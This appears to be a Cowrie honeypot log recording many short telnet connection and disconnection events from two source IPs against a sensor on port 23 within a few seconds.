{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34768,"dst_ip":"10.17.0.5","dst_port":23,"session":"90883fe6db71","protocol":"telnet","message":"New connection: 208.115.200.90:34768 (10.17.0.5:23) [session: 90883fe6db71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.259639Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34814,"dst_ip":"10.17.0.5","dst_port":23,"session":"08f2ce12e27a","protocol":"telnet","message":"New connection: 208.115.200.90:34814 (10.17.0.5:23) [session: 08f2ce12e27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.294441Z"}
{"eventid":"cowrie.session.closed","duration":31.216911554336548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.326044Z","src_ip":"208.115.200.90","session":"2b3ed78381d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773085594177246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.337811Z","src_ip":"208.115.200.90","session":"30fd9275561e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34954,"dst_ip":"10.17.0.5","dst_port":23,"session":"fee7340962f7","protocol":"telnet","message":"New connection: 208.115.200.90:34954 (10.17.0.5:23) [session: fee7340962f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.376096Z"}
{"eventid":"cowrie.session.closed","duration":31.29252028465271,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.506295Z","src_ip":"208.115.219.122","session":"0b089591d92f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35308,"dst_ip":"10.17.0.5","dst_port":23,"session":"363c2e65e84a","protocol":"telnet","message":"New connection: 208.115.200.90:35308 (10.17.0.5:23) [session: 363c2e65e84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.512105Z"}
{"eventid":"cowrie.session.closed","duration":31.253246307373047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.570945Z","src_ip":"208.115.200.90","session":"1a928a68047a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913785696029663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.686121Z","src_ip":"208.115.200.90","session":"0071282caa08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.615150690078735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:17.732294Z","src_ip":"208.115.200.90","session":"4c9e6ef44455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37074,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aacc77c3511","protocol":"telnet","message":"New connection: 208.115.200.90:37074 (10.17.0.5:23) [session: 5aacc77c3511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.032970Z"}
{"eventid":"cowrie.session.closed","duration":30.868196487426758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.047606Z","src_ip":"208.115.219.122","session":"12a204b8d98b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35040,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8df801c3ed2","protocol":"telnet","message":"New connection: 208.115.219.122:35040 (10.17.0.5:23) [session: d8df801c3ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.054003Z"}
{"eventid":"cowrie.session.closed","duration":30.998111724853516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.092669Z","src_ip":"208.115.219.122","session":"1f5cc0dd030e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74389672279358,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.108113Z","src_ip":"208.115.219.122","session":"610a4f180849","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35120,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d8f17094d49","protocol":"telnet","message":"New connection: 208.115.219.122:35120 (10.17.0.5:23) [session: 9d8f17094d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.114760Z"}
{"eventid":"cowrie.session.closed","duration":30.787952423095703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.199024Z","src_ip":"208.115.200.90","session":"8cf298d27398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35202,"dst_ip":"10.17.0.5","dst_port":23,"session":"edf215282b20","protocol":"telnet","message":"New connection: 208.115.219.122:35202 (10.17.0.5:23) [session: edf215282b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.206054Z"}
{"eventid":"cowrie.session.closed","duration":31.22063899040222,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.267303Z","src_ip":"208.115.219.122","session":"2b70204b9f4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37480,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ca38bb8c1cb","protocol":"telnet","message":"New connection: 208.115.200.90:37480 (10.17.0.5:23) [session: 9ca38bb8c1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.291988Z"}
{"eventid":"cowrie.session.closed","duration":31.025307178497314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.342781Z","src_ip":"208.115.219.122","session":"e85f0acc2784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37742,"dst_ip":"10.17.0.5","dst_port":23,"session":"371d1d8101ee","protocol":"telnet","message":"New connection: 208.115.200.90:37742 (10.17.0.5:23) [session: 371d1d8101ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.392031Z"}
{"eventid":"cowrie.session.closed","duration":30.926315307617188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.398833Z","src_ip":"208.115.219.122","session":"e0a741d29039","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35276,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bdea9343c3d","protocol":"telnet","message":"New connection: 208.115.200.90:35276 (10.17.0.5:23) [session: 9bdea9343c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.545050Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38336,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd6063f65c7","protocol":"telnet","message":"New connection: 208.115.200.90:38336 (10.17.0.5:23) [session: acd6063f65c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.641792Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38380,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff6c19e6114","protocol":"telnet","message":"New connection: 208.115.200.90:38380 (10.17.0.5:23) [session: 3ff6c19e6114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.700347Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33304,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc783eec568c","protocol":"telnet","message":"New connection: 208.115.200.90:33304 (10.17.0.5:23) [session: dc783eec568c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:18.859834Z"}
{"eventid":"cowrie.session.closed","duration":30.96747064590454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.073539Z","src_ip":"208.115.219.122","session":"bc23d7df7cdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38578,"dst_ip":"10.17.0.5","dst_port":23,"session":"c83532a16e58","protocol":"telnet","message":"New connection: 208.115.200.90:38578 (10.17.0.5:23) [session: c83532a16e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.081089Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38598,"dst_ip":"10.17.0.5","dst_port":23,"session":"638198dc701c","protocol":"telnet","message":"New connection: 208.115.200.90:38598 (10.17.0.5:23) [session: 638198dc701c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.126116Z"}
{"eventid":"cowrie.session.closed","duration":30.852052211761475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.133955Z","src_ip":"208.115.200.90","session":"964296a29c19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38622,"dst_ip":"10.17.0.5","dst_port":23,"session":"f84b09045aef","protocol":"telnet","message":"New connection: 208.115.200.90:38622 (10.17.0.5:23) [session: f84b09045aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.169728Z"}
{"eventid":"cowrie.session.closed","duration":30.77426791191101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.232768Z","src_ip":"208.115.200.90","session":"23653ad22fac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.051459550857544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.433927Z","src_ip":"208.115.200.90","session":"f1cd3f564a0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38800,"dst_ip":"10.17.0.5","dst_port":23,"session":"775d3d7739a2","protocol":"telnet","message":"New connection: 208.115.200.90:38800 (10.17.0.5:23) [session: 775d3d7739a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.463378Z"}
{"eventid":"cowrie.session.closed","duration":31.343464136123657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.542769Z","src_ip":"208.115.200.90","session":"59afa0c2e5e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38940,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca6ac700e317","protocol":"telnet","message":"New connection: 208.115.200.90:38940 (10.17.0.5:23) [session: ca6ac700e317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.549945Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":35942,"dst_ip":"10.17.0.5","dst_port":23,"session":"81aad64878d1","protocol":"telnet","message":"New connection: 208.115.219.122:35942 (10.17.0.5:23) [session: 81aad64878d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.836477Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38542,"dst_ip":"10.17.0.5","dst_port":23,"session":"084593192c45","protocol":"telnet","message":"New connection: 208.115.200.90:38542 (10.17.0.5:23) [session: 084593192c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:19.948414Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36144,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b4a52dfada6","protocol":"telnet","message":"New connection: 208.115.219.122:36144 (10.17.0.5:23) [session: 3b4a52dfada6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:20.050338Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36160,"dst_ip":"10.17.0.5","dst_port":23,"session":"f30f625e1656","protocol":"telnet","message":"New connection: 208.115.219.122:36160 (10.17.0.5:23) [session: f30f625e1656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:20.087105Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36212,"dst_ip":"10.17.0.5","dst_port":23,"session":"7011b2dbf9b3","protocol":"telnet","message":"New connection: 208.115.219.122:36212 (10.17.0.5:23) [session: 7011b2dbf9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:20.179219Z"}
{"eventid":"cowrie.session.closed","duration":31.17611575126648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:20.292667Z","src_ip":"208.115.200.90","session":"adbc0996cb9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.911811113357544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:20.357696Z","src_ip":"208.115.200.90","session":"0f16e7a9a797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.295742988586426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:20.370023Z","src_ip":"208.115.200.90","session":"6fc37fb61bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46885848045349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:20.816391Z","src_ip":"208.115.219.122","session":"b450e423026b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895505905151367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.019186Z","src_ip":"208.115.219.122","session":"9b418f3ffadb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37050,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ac5a6ce5d39","protocol":"telnet","message":"New connection: 208.115.219.122:37050 (10.17.0.5:23) [session: 7ac5a6ce5d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.043598Z"}
{"eventid":"cowrie.session.closed","duration":30.923580646514893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.088861Z","src_ip":"208.115.200.90","session":"9ab442593317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37178,"dst_ip":"10.17.0.5","dst_port":23,"session":"c69e825ee6ba","protocol":"telnet","message":"New connection: 208.115.219.122:37178 (10.17.0.5:23) [session: c69e825ee6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.138634Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37180,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e9262e0d17c","protocol":"telnet","message":"New connection: 208.115.219.122:37180 (10.17.0.5:23) [session: 6e9262e0d17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.149737Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40426,"dst_ip":"10.17.0.5","dst_port":23,"session":"80540e29732e","protocol":"telnet","message":"New connection: 208.115.200.90:40426 (10.17.0.5:23) [session: 80540e29732e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.166376Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37232,"dst_ip":"10.17.0.5","dst_port":23,"session":"47b08aa541f1","protocol":"telnet","message":"New connection: 208.115.219.122:37232 (10.17.0.5:23) [session: 47b08aa541f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.191183Z"}
{"eventid":"cowrie.session.closed","duration":31.204814195632935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.240419Z","src_ip":"208.115.200.90","session":"c5fccf03b0a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37382,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed5e1ec4bb60","protocol":"telnet","message":"New connection: 208.115.219.122:37382 (10.17.0.5:23) [session: ed5e1ec4bb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.319145Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40622,"dst_ip":"10.17.0.5","dst_port":23,"session":"482a2b5d2d30","protocol":"telnet","message":"New connection: 208.115.200.90:40622 (10.17.0.5:23) [session: 482a2b5d2d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.357346Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40664,"dst_ip":"10.17.0.5","dst_port":23,"session":"d91b43494800","protocol":"telnet","message":"New connection: 208.115.200.90:40664 (10.17.0.5:23) [session: d91b43494800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.383472Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37528,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e27afe0172d","protocol":"telnet","message":"New connection: 208.115.219.122:37528 (10.17.0.5:23) [session: 2e27afe0172d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.453976Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37536,"dst_ip":"10.17.0.5","dst_port":23,"session":"62448b3c4ecf","protocol":"telnet","message":"New connection: 208.115.219.122:37536 (10.17.0.5:23) [session: 62448b3c4ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.473727Z"}
{"eventid":"cowrie.session.closed","duration":31.20229744911194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.481642Z","src_ip":"208.115.200.90","session":"a10c005603d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40930,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebb8413f7079","protocol":"telnet","message":"New connection: 208.115.200.90:40930 (10.17.0.5:23) [session: ebb8413f7079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:21.758860Z"}
{"eventid":"cowrie.session.closed","duration":31.713680744171143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.007541Z","src_ip":"208.115.200.90","session":"332f12342f01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37730,"dst_ip":"10.17.0.5","dst_port":23,"session":"552dfa58f1d0","protocol":"telnet","message":"New connection: 208.115.219.122:37730 (10.17.0.5:23) [session: 552dfa58f1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.049855Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41086,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3d2534eb47","protocol":"telnet","message":"New connection: 208.115.200.90:41086 (10.17.0.5:23) [session: 4e3d2534eb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.113039Z"}
{"eventid":"cowrie.session.closed","duration":30.669483423233032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.133059Z","src_ip":"208.115.219.122","session":"e8e59f8fdf42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70540142059326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.152596Z","src_ip":"208.115.200.90","session":"7fa4d81a2b19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41102,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eee32da5e63","protocol":"telnet","message":"New connection: 208.115.200.90:41102 (10.17.0.5:23) [session: 2eee32da5e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.265197Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41114,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9baf264b407","protocol":"telnet","message":"New connection: 208.115.200.90:41114 (10.17.0.5:23) [session: f9baf264b407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.297819Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40652,"dst_ip":"10.17.0.5","dst_port":23,"session":"9589fb08bbdb","protocol":"telnet","message":"New connection: 208.115.200.90:40652 (10.17.0.5:23) [session: 9589fb08bbdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.378440Z"}
{"eventid":"cowrie.session.closed","duration":30.925923585891724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.474258Z","src_ip":"208.115.200.90","session":"42d6980488aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999367475509644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.530299Z","src_ip":"208.115.200.90","session":"b9363b0dfab3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41258,"dst_ip":"10.17.0.5","dst_port":23,"session":"b00314d33f50","protocol":"telnet","message":"New connection: 208.115.200.90:41258 (10.17.0.5:23) [session: b00314d33f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.565840Z"}
{"eventid":"cowrie.session.closed","duration":31.419681549072266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.581017Z","src_ip":"208.115.219.122","session":"4f7cd3c40539","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41314,"dst_ip":"10.17.0.5","dst_port":23,"session":"554842b99a50","protocol":"telnet","message":"New connection: 208.115.200.90:41314 (10.17.0.5:23) [session: 554842b99a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.678169Z"}
{"eventid":"cowrie.session.closed","duration":31.502208948135376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:22.993038Z","src_ip":"208.115.200.90","session":"004a729afa7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570741653442383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.038356Z","src_ip":"208.115.200.90","session":"ac259ab0c005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.066291093826294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.088743Z","src_ip":"208.115.200.90","session":"8637247b0c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37996,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b2c62e56e23","protocol":"telnet","message":"New connection: 208.115.219.122:37996 (10.17.0.5:23) [session: 8b2c62e56e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.115663Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38044,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ba85d3a2516","protocol":"telnet","message":"New connection: 208.115.219.122:38044 (10.17.0.5:23) [session: 6ba85d3a2516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.208028Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41492,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e260fb53119","protocol":"telnet","message":"New connection: 208.115.200.90:41492 (10.17.0.5:23) [session: 3e260fb53119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:23.271150Z"}
